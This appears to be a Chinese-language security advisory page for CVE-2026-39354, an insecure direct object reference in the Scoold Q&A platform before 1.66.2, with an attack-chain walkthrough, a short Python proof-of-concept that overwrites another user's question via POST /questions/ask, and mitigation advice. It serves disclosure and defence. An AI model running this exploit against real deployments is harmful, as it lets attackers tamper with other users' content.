IPBUF安全漏洞报告
English
CVE-2026-39354 CVSS 6.5 中危

CVE-2026-39354 Scoold权限绕过导致内容篡改漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39354
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Scoold

相关标签

权限绕过IDORScooldWeb安全数据篡改

漏洞概述

Scoold是一个团队问答和知识共享平台。在1.66.2版本之前,系统存在一个认证后的授权缺陷。低权限用户可以通过向POST /questions/ask接口发送请求,并将目标问题的ID作为postId参数,从而覆盖其他用户已存在的问题。由于问题ID在公开URL中可见,攻击者可轻易获取并篡改内容,导致用户生成数据的完整性受损。该漏洞已在1.66.2版本中修复。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)。Scoold在处理/questions/ask请求时,未能严格验证当前登录用户对参数postId所指定问题的所有权。攻击者首先通过正常浏览获取目标问题的公共ID,随后利用已认证的低权限账户,构造包含受害者ID的恶意POST请求。由于缺乏服务端的权限校验逻辑,服务器接受该请求并使用攻击者提交的数据覆盖原问题对象,导致严重的数据完整性破坏和讨论线程的劫持。

攻击链分析

STEP 1
信息收集
攻击者注册并登录Scoold平台,浏览公开的问答页面,从URL中提取想要篡改的目标问题的postId。
STEP 2
构造攻击请求
攻击者使用自己的低权限会话,向/questions/ask接口发送POST请求,并在参数中填入受害者的postId以及恶意的标题和内容。
STEP 3
执行篡改
服务端因未校验postId归属,直接将请求中的数据保存,导致原问题被攻击者的内容覆盖。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:8080/questions/ask" # Attacker's authenticated cookie (obtained after login) attacker_cookies = { "JSESSIONID": "attacker_session_id_here" } # Victim's Post ID (exposed in public URLs) victim_post_id = "550e8400-e29b-41d4-a716-446655440000" # Malicious payload to overwrite the question payload_data = { "postId": victim_post_id, "title": "HACKED - Security Alert", "body": "This question has been overwritten by an unauthorized user due to CVE-2026-39354." } try: # Send the malicious request response = requests.post(target_url, data=payload_data, cookies=attacker_cookies) if response.status_code == 200: print("[+] Exploit successful! The question content has been overwritten.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Scoold < 1.66.2

防御指南

临时缓解措施
建议管理员在升级前,通过Web应用防火墙(WAF)实施临时防护,监控并拦截对/questions/ask接口包含非法postId参数的POST请求。同时,应定期审查系统日志,检查是否已有数据被恶意篡改的迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表